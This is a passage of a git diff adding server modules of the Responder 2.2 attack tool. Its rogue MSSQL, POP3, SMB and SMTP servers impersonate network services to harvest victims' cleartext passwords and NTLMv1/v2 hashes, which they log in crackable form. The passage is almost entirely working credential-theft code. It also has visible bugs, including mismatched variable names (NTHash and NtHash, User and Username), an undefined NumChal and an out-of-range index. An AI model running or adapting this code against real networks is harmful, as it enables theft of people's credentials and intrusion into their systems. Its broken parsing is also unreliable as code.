PasswordOff = struct.unpack('<h', data[52:54])[0]
|
||||
PasswordLen = struct.unpack('<h', data[54:56])[0]
|
||||
AppNameOff = struct.unpack('<h', data[56:58])[0]
|
||||
AppNameLen = struct.unpack('<h', data[58:60])[0]
|
||||
ServerNameOff = struct.unpack('<h', data[60:62])[0]
|
||||
ServerNameLen = struct.unpack('<h', data[62:64])[0]
|
||||
Unknown1Off = struct.unpack('<h', data[64:66])[0]
|
||||
Unknown1Len = struct.unpack('<h', data[66:68])[0]
|
||||
LibraryNameOff = struct.unpack('<h', data[68:70])[0]
|
||||
LibraryNameLen = struct.unpack('<h', data[70:72])[0]
|
||||
LocaleOff = struct.unpack('<h', data[72:74])[0]
|
||||
LocaleLen = struct.unpack('<h', data[74:76])[0]
|
||||
DatabaseNameOff = struct.unpack('<h', data[76:78])[0]
|
||||
DatabaseNameLen = struct.unpack('<h', data[78:80])[0]
|
||||
|
||||
self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '')
|
||||
self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '')
|
||||
self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '')
|
||||
self.AppName = data[8+AppNameOff:8+AppNameOff+AppNameLen*2].replace('\x00', '')
|
||||
self.ServerName = data[8+ServerNameOff:8+ServerNameOff+ServerNameLen*2].replace('\x00', '')
|
||||
self.Unknown1 = data[8+Unknown1Off:8+Unknown1Off+Unknown1Len*2].replace('\x00', '')
|
||||
self.LibraryName = data[8+LibraryNameOff:8+LibraryNameOff+LibraryNameLen*2].replace('\x00', '')
|
||||
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
|
||||
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
|
||||
|
||||
def ParseSQLHash(data, client):
|
||||
SSPIStart = data[8:]
|
||||
|
||||
LMhashLen = struct.unpack('<H',data[20:22])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
|
||||
NthashLen = struct.unpack('<H',data[30:32])[0]
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
|
||||
UserLen = struct.unpack('<H',data[44:46])[0]
|
||||
UserOffset = struct.unpack('<H',data[48:50])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
if NthashLen == 24:
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-NTLMv1-Client-%s.txt" % client)
|
||||
|
||||
if PrintData(outfile,User+"::"+Domain):
|
||||
print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 Hash : %s" % color(LMHash+":"+NTHash, 3, 0))
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
|
||||
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
|
||||
|
||||
if NthashLen > 60:
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-NTLMv2-Client-%s.txt" % client)
|
||||
|
||||
if PrintData(outfile,User+"::"+Domain):
|
||||
print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0))
|
||||
print text("[MSSQL] NTLMv1 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0))
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||
WriteData(outfile,WriteHash,User+"::"+Domain)
|
||||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
Pw = []
|
||||
for x in Pwd:
|
||||
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
|
||||
return ''.join(Pw)
|
||||
|
||||
def ParseClearTextSQLPass(data, client):
|
||||
|
||||
TDS = TDS_Login_Packet(data)
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-PlainText-Password-%s.txt" % client)
|
||||
WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password)
|
||||
|
||||
if PrintData(outfile,WritePass):
|
||||
print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0)))
|
||||
print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0))
|
||||
print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0))
|
||||
print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0))
|
||||
print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0))
|
||||
|
||||
WriteData(outfile, WritePass, WritePass)
|
||||
|
||||
# MSSQL Server class
|
||||
class MSSQL(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(0.1)
|
||||
|
||||
# Pre-Login Message
|
||||
if data[0] == "\x12":
|
||||
Buffer = str(MSSQLPreLoginAnswer())
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# NegoSSP
|
||||
if data[0] == "\x10":
|
||||
if re.search("NTLMSSP",data):
|
||||
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
|
||||
Packet.calculate()
|
||||
Buffer = str(Packet)
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
else:
|
||||
ParseClearTextSQLPass(data,self.client_address[0])
|
||||
|
||||
# NegoSSP Auth
|
||||
if data[0] == "\x11":
|
||||
ParseSQLHash(data,self.client_address[0])
|
||||
|
||||
except socket.timeout:
|
||||
pass
|
||||
self.request.close()
|
40
servers/POP3.py
Normal file
40
servers/POP3.py
Normal file
|
@ -0,0 +1,40 @@
|
|||
import os
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import POPOKPacket
|
||||
|
||||
# POP3 Server class
|
||||
class POP3(BaseRequestHandler):
|
||||
|
||||
def SendPacketAndRead(self):
|
||||
Packet = POPOKPacket()
|
||||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
return data
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "POP3-Clear-Text-Password-%s.txt" % self.client_address[0])
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
|
||||
text("[POP3] Address : %s" % self.client_address[0])
|
||||
text("[POP3] Username : %s" % User)
|
||||
text("[POP3] Password : %s" % Pass)
|
||||
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
else :
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
except Exception:
|
||||
pass
|
361
servers/SMB.py
Normal file
361
servers/SMB.py
Normal file
|
@ -0,0 +1,361 @@
|
|||
import struct
|
||||
import settings
|
||||
|
||||
from random import randrange
|
||||
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
|
||||
# Detect if SMB auth was Anonymous
|
||||
def Is_Anonymous(data):
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
|
||||
if SecBlobLen < 260:
|
||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
||||
|
||||
if SecBlobLen > 260:
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
||||
|
||||
def Is_LMNT_Anonymous(data):
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
||||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
|
||||
|
||||
if Dialect[0] == "NT LM 0.12":
|
||||
return "\x00\x00"
|
||||
if Dialect[1] == "NT LM 0.12":
|
||||
return "\x01\x00"
|
||||
if Dialect[2] == "NT LM 0.12":
|
||||
return "\x02\x00"
|
||||
if Dialect[3] == "NT LM 0.12":
|
||||
return "\x03\x00"
|
||||
if Dialect[4] == "NT LM 0.12":
|
||||
return "\x04\x00"
|
||||
if Dialect[5] == "NT LM 0.12":
|
||||
return "\x05\x00"
|
||||
if Dialect[6] == "NT LM 0.12":
|
||||
return "\x06\x00"
|
||||
if Dialect[7] == "NT LM 0.12":
|
||||
return "\x07\x00"
|
||||
if Dialect[8] == "NT LM 0.12":
|
||||
return "\x08\x00"
|
||||
if Dialect[9] == "NT LM 0.12":
|
||||
return "\x09\x00"
|
||||
if Dialect[10] == "NT LM 0.12":
|
||||
return "\x0a\x00"
|
||||
|
||||
#Set MID SMB Header field.
|
||||
def midcalc(data):
|
||||
pack=data[34:36]
|
||||
return pack
|
||||
|
||||
#Set UID SMB Header field.
|
||||
def uidcalc(data):
|
||||
pack=data[32:34]
|
||||
return pack
|
||||
|
||||
#Set PID SMB Header field.
|
||||
def pidcalc(data):
|
||||
pack=data[30:32]
|
||||
return pack
|
||||
|
||||
#Set TID SMB Header field.
|
||||
def tidcalc(data):
|
||||
pack=data[28:30]
|
||||
return pack
|
||||
|
||||
def ParseShare(data):
|
||||
packet = data[:]
|
||||
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
||||
if a:
|
||||
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
|
||||
|
||||
#Parse SMB NTLMSSP v1/v2
|
||||
def ParseSMBHash(data,client):
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
BccLen = struct.unpack('<H',data[61:63])[0]
|
||||
|
||||
if SecBlobLen < 260:
|
||||
SSPIStart = data[75:]
|
||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[91:93])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[97:99])[0]
|
||||
NthashOffset = struct.unpack('<H',data[99:101])[0]
|
||||
|
||||
else:
|
||||
SSPIStart = data[79:]
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[95:97])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[101:103])[0]
|
||||
NthashOffset = struct.unpack('<H',data[103:105])[0]
|
||||
|
||||
if NthashLen == 24:
|
||||
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[105:107])[0]
|
||||
DomainOffset = struct.unpack('<H',data[107:109])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[113:115])[0]
|
||||
UserOffset = struct.unpack('<H',data[115:117])[0]
|
||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
print text("[SMB] NTLMv1 (SSP) Address : %s" % client)
|
||||
print text("[SMB] NTLMv1 (SSP) Username : %s\\%s" % (Domain, Username))
|
||||
print text("[SMB] NTLMv1 (SSP) Hash : %s" % SMBHash)
|
||||
|
||||
outfile = "./logs/SMB-NTLMSSPv1-Client-"+client+".txt"
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
|
||||
WriteData(outfile, WriteHash, Username+"::"+Domain)
|
||||
|
||||
if NthashLen > 60:
|
||||
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[109:111])[0]
|
||||
DomainOffset = struct.unpack('<H',data[111:113])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[117:119])[0]
|
||||
UserOffset = struct.unpack('<H',data[119:121])[0]
|
||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
print text("[SMB] NTLMv2 (SSP) Address : %s" % client)
|
||||
print text("[SMB] NTLMv2 (SSP) Username : %s\\%s" % (Domain, Username))
|
||||
print text("[SMB] NTLMv2 (SSP) Hash : %s" % SMBHash)
|
||||
|
||||
outfile = "./logs/SMB-NTLMSSPv2-Client-"+client+".txt"
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
|
||||
WriteData(outfile, WriteHash, Username+"::"+Domain)
|
||||
|
||||
# Parse SMB NTLMv1/v2
|
||||
def ParseLMNTHash(data,client):
|
||||
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
|
||||
if NthashLen > 25:
|
||||
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen]
|
||||
LmHash = FullHash.encode('hex')[:32].upper()
|
||||
NtHash = FullHash.encode('hex')[32:].upper()
|
||||
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
|
||||
print text("[SMB] NTLMv2 Address : %s" % client)
|
||||
print text("[SMB] NTLMv2 Username : %s\\%s" % (Domain, User))
|
||||
print text("[SMB] NTLMv2 Hash : %s" % NtHash)
|
||||
|
||||
outfile = "./logs/SMB-NTLMv2-Client-"+client+".txt"
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
|
||||
WriteData(outfile, WriteHash, Username+"::"+Domain)
|
||||
|
||||
if NthashLen == 24:
|
||||
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
||||
LmHash = data[65:65+LMhashLen].encode('hex').upper()
|
||||
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
|
||||
print text("[SMB] NTLMv1 Address : %s" % client)
|
||||
print text("[SMB] NTLMv1 Username : %s\\%s" % (Domain, User))
|
||||
print text("[SMB] NTLMv1 Hash : %s" % NtHash)
|
||||
|
||||
outfile = "./logs/SMB-NTLMv1-Client-"+client+".txt"
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
|
||||
WriteData(outfile, WriteHash, Username+"::"+Domain)
|
||||
|
||||
def IsNT4ClearTxt(data):
|
||||
HeadLen = 36
|
||||
Flag2 = data[14:16]
|
||||
|
||||
if Flag2 == "\x03\x80":
|
||||
SmbData = data[HeadLen+14:]
|
||||
WordCount = data[HeadLen]
|
||||
ChainedCmdOffset = data[HeadLen+1]
|
||||
|
||||
if ChainedCmdOffset == "\x75":
|
||||
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
|
||||
|
||||
if PassLen > 2:
|
||||
|
||||
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
||||
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
||||
print text("[SMB] Clear Text Credentials: %s:%s" %(User,Password))
|
||||
|
||||
# SMB Server class, NTLMSSP
|
||||
class SMB1(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(1)
|
||||
|
||||
if len(data) < 1:
|
||||
print hexdump(data)
|
||||
break
|
||||
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
#Customize SMB answer.
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
IsNT4ClearTxt(data)
|
||||
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(4096)
|
||||
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_Anonymous(data):
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Body = SMBSessEmpty()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
|
||||
else:
|
||||
ParseSMBHash(data,self.client_address[0])
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = SMBSession2Accept()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Tree Connect IPC Answer
|
||||
if data[8:10] == "\x75\x00":
|
||||
ParseShare(data)
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
||||
Body = SMBTreeData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Tree Disconnect.
|
||||
if data[8:10] == "\x71\x00":
|
||||
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##NT_CREATE Access Denied.
|
||||
if data[8:10] == "\xa2\x00":
|
||||
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Trans2 Access Denied.
|
||||
if data[8:10] == "\x25\x00":
|
||||
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##LogOff.
|
||||
if data[8:10] == "\x74\x00":
|
||||
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x02\xff\x00\x27\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except socket.timeout:
|
||||
pass
|
||||
|
||||
# SMB Server class, old version
|
||||
class SMB1LM(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
|
||||
Body.calculate()
|
||||
Packet = str(head)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_LMNT_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0])
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
40
servers/SMTP.py
Normal file
40
servers/SMTP.py
Normal file
|
@ -0,0 +1,40 @@
|
|||
import os
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||
|
||||
# ESMTP Server class
|
||||
class ESMTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(SMTPGreeting()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "EHLO":
|
||||
self.request.send(str(SMTPAUTH()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "AUTH":
|
||||
self.request.send(str(SMTPAUTH1()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data:
|
||||
Username = b64decode(data[:len(data)-2])
|
||||
self.request.send(str(SMTPAUTH2()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data:
|
||||
Password = b64decode(data[:len(data)-2])
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "SMTP-Clear-Text-Password-%s.txt" % self.client_address[0])
|
||||
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
|
||||
|
||||
print text("[SMTP] Address : %s" % color(self.client_address[0], 3, 0))
|
||||
print text("[SMTP] Username : %s" % color(Username, 3, 0))
|
||||
print text("[SMTP] Password : %s" % color(Password, 3, 0))
|
||||
|
||||
## FIXME: Close connection properly
|
||||
|
||||
except Exception:
|
||||
pass
|
0
servers/__init__.py
Normal file
0
servers/__init__.py
Normal file
114
settings.py
Normal file
114
settings.py
Normal file
|
@ -0,0 +1,114 @@
|
|||
import os
|
||||
import sys
|
||||
import socket
|
||||
import utils
|
||||
import ConfigParser
|
||||
|
||||
__version__ = 'Responder 2.2'
|
||||
|
||||
class Settings:
|
||||
|
||||
def __init__(self):
|
||||
self.ResponderPATH = os.path.dirname(__file__)
|
||||
self.Responder_IP = '0.0.0.0'
|
||||
|
||||
def __str__(self):
|
||||
ret = 'Settings class:\n'
|
||||
for attr in dir(self):
|
||||
value = str(getattr(self, attr)).strip()
|
||||
ret += " Settings.%s = %s\n" % (attr, value)
|
||||
return ret
|
||||
|
||||
def toBool(self, str):
|
||||
return True if str.upper() == 'ON' else False
|
||||
|
||||
def populate(self, options):
|
||||
|
||||
if options.Responder_IP is None:
|
||||
print utils.color("Error: -i mandatory option is missing", 1, 0)
|
||||
sys.exit(-1)
|
||||
|
||||
# Config parsing
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
|
||||
|
||||
# Servers
|
||||
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
|
||||
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
|
||||
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
|
||||
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
|
||||
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
|
||||
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
|
||||
self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
|
||||
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
|
||||
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
|
||||
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
|
||||
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
|
||||
|
||||
# Log
|
||||
self.SessionLog = config.get('Responder Core', 'SessionLog')
|
||||
self.Log1Filename = os.path.join(self.ResponderPATH, self.SessionLog)
|
||||
self.Log2Filename = os.path.join(self.ResponderPATH, 'logs', 'LLMNR-NBT-NS.log')
|
||||
self.AnalyzeFilename = os.path.join(self.ResponderPATH, 'logs', 'Analyze-LLMNR-NBT-NS.log')
|
||||
|
||||
# HTTP Options
|
||||
self.Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper()
|
||||
self.Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper()
|
||||
self.Html_Filename = config.get('HTTP Server', 'HtmlFilename')
|
||||
self.Exe_Filename = config.get('HTTP Server', 'ExeFilename')
|
||||
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
||||
self.HTMLToServe = config.get('HTTP Server', 'HTMLToServe')
|
||||
|
||||
# SSL Options
|
||||
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
|
||||
self.SSLCert = config.get('HTTPS Server', 'SSLCert')
|
||||
|
||||
# Respond to hosts
|
||||
self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
|
||||
self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])
|
||||
self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
|
||||
